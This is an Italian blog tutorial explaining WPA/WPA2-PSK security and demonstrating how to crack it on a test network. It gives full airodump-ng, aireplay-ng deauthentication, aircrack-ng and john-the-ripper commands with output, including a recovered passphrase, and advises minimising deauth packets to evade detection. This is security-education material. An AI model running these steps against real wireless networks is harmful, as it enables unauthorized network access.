VoIP and Hacking | Consulenza Documentazione

WPA/WPA2 cracking

by admin on Jun.20, 2009, under Hacking, Linux, Networking, Sicurezza

Wi-Fi Protected Access (WPA), e successivamente WPA2, che si differenzia dal primo per il fatto di utilizzare un algoritmo di cifratura che deriva dall’AES, anziché da RC4, sono stati creati per ovviare ai problemi di sicurezza che affliggono WEP, la cui principale fragilità consiste nel fatto che la chiave non è “hashed”, e viene concatenata all’ IV, consentendo una compromissione della rete che può essere al limite completamente passiva. In pratica, col WEP, un attaccante può rimanere comodamente seduto nella sua automobile parcheggiata, catturando i pacchetti in transito. Una volta che ne abbia raccolto una quantità sufficiente, può estrarre la chiave e connettersi.

WPA/WPA2 risolve il problema tramite una rotazione della chiave ad ogni pacchetto.
Invece di concatenare la chiave con l’ IV (il tallone d’Achille del WEP), WPA/WPA2 ottiene l’hash della chiave usando l’ SSID del wireless access point’s come salt. I benefici che ne derivano sono evidenti:

Prima di tutto, con la trasmissione della chiave come hash, e quindi cifrata, vengono vanificate quelle tecniche di tipo statistico che sono in grado di violare il WEP. WPA/WPA2 PSK inoltre impone una lunghezza minima di otto caratteri per quanto riguarda la passphrase, rendendo gli attacchi di tipo bruteforce poco efficaci. Questo perché il numero delle possibili combinazioni di caratteri validi per chiavi di lunghezza di otto caratteri è un numero veramente enorme: 94 elevato alla ottava potenza (6095689385410816 combinazioni).
Utilizzando semplicemente la forza bruta, un laptop come il mio impiegherebbe oltre un milione di anni per recuperare la passphrase.

Cionondimeno WPA/WPA2 PSK rimane particolarmente vulnerabile durante la associazione di un client, quando la chiave “hashed” viene scambiata e convalidata secondo un particolare “four-way handshake”.
WPA/WPA2 PSK è particolarmente suscettibile ad attacchi basati su dizionario e portati contro passphrases deboli.

Possiamo comodamente verificare una tale affermazione a carico di una rete di test, come era stato fatto in precedenza a proposito dell’articolo sul WEP cracking, ovviamente impostandola stavolta ad utilizzare WPA anziché WEP.
Dopo aver identificato l’ AP obiettivo con i relativi clients associati, cosa che può essere benissimo fatta con un tool come kismet, è opportuno impostare l’harware wireless del portatile utilizzato per l’attacco, ad essere in grado di effettuare la packet injection.

Occorre contemporaneamente deautenticare un client and catturare la successiva reautenticazione.
Si può perciò avviare airodump-ng in una finestra di terminale:

# airodump-ng -w cap --channel 11 ath0

e immediatamente dopo lanciare l’attacco di deautenticazione con aireplay-ng in una seconda finestra di terminale con:

# aireplay-ng --deauth 1 -a 00:18:E7:02:4C:E6 -c 00:13:CE:21:54:14 ath0

Il valore del parametro -a rappresenta il MAC address dell’access point, mentre quello del parametro -c rappresenta il MAC address del client associato.
Il valore del parametro –deauth rappresenta un unico pacchetto da emettere. È opportuno infatti che il numero di pacchetti inviati venga ridotto al minimo indispensabile, per minimizzare il rischio di individuazione, dato che programmi come Kismet possono essere usati in chiave difensiva e sono in grado di identificare attacchi di deautenticazione.

# aireplay-ng --deauth 1 -a 00:18:4D:D2:F0:06 -c 00:18:4D:CF:E8:0A ath1
21:05:55 Waiting for beacon frame (BSSID: 00:18:4D:D2:F0:06) on channel 11
21:05:55 Sending 64 directed DeAuth. STMAC: [00:18:4D:CF:E8:0A] [ 0| 0 ACKs]

Il client dovrebbe venire deautenticato dall’ AP e poi, normalmente riautenticato.

Per assicurarsi di avere catturato l’ handshake dell’ autenticazione, si può usare un analizzatore di protocollo come Wireshark, ed aprire il file in format pcap per esaminare i pacchetti catturati.
Dato che l’ handshake a 4 fasi WPA usa l’ Extensible Authentication Protocol over LAN (EAPoL), è possibile filtrare i pacchetti catturati per visualizzare solamente i pacchetti EAPoL semplicemente introducendo “eapol” nel campo filter.
L’obiettivo della ricerca è la presenza di quattro pacchetti in direzione opposta e alternata, del tipo client -> AP-> client -> AP
Se sono presenti si può procedere al cracking della chiave.

we can mount a dictionary attack on our captured WPA handshake usando solo aircrack-ng:

# aircrack-ng -e GHOSTNET -w /opt/passwords cap-02.cap

oppure aircrack-ng in combinazione con john-the-ripper:

# john --wordlist=./opt/password --rules --stdout |aircrack-ng -e GHOSTNET -w - cap-02.cap

La capacità che quest’ultimo possiede di manipolare tramite sostituzioni o permutazioni un semplice file dizionario passando direttamente il proprio output ad aircrack-ng è in grado molto spesso di violare passphrases mal scelte, ma piuttosto comuni, come quella utilizzata nel test:

                                 Aircrack-ng 1.0 rc3

                   [00:17:45] 184940 keys tested (183.44 k/s)

                           KEY FOUND! [ agent007 ]

      Master Key     : A1 B5 04 89 E0 48 AC CC 6A 24 1C 3C 70 D8 5D F7
                       F4 A0 A6 AB 8D EB 5E F3 63 32 12 FA 19 11 49 61 

      Transient Key  : 8B E8 7F 0B 6F AA 45 44 18 29 C3 93 CD 62 60 E0
                       82 40 29 90 98 0C 30 09 52 35 62 23 1A 7F E5 E4
                       22 39 A0 77 9D BA 8F 28 22 90 55 B5 48 BA B5 9D
                       D5 4D DB 4B AB 0C 9A 1F 34 A6 3F 0B 30 94 83 10 

      EAPOL HMAC     : 64 77 C8 CF 76 EB 63 9F B8 E1 43 89 4C CB B7 CA
Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Blogroll!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...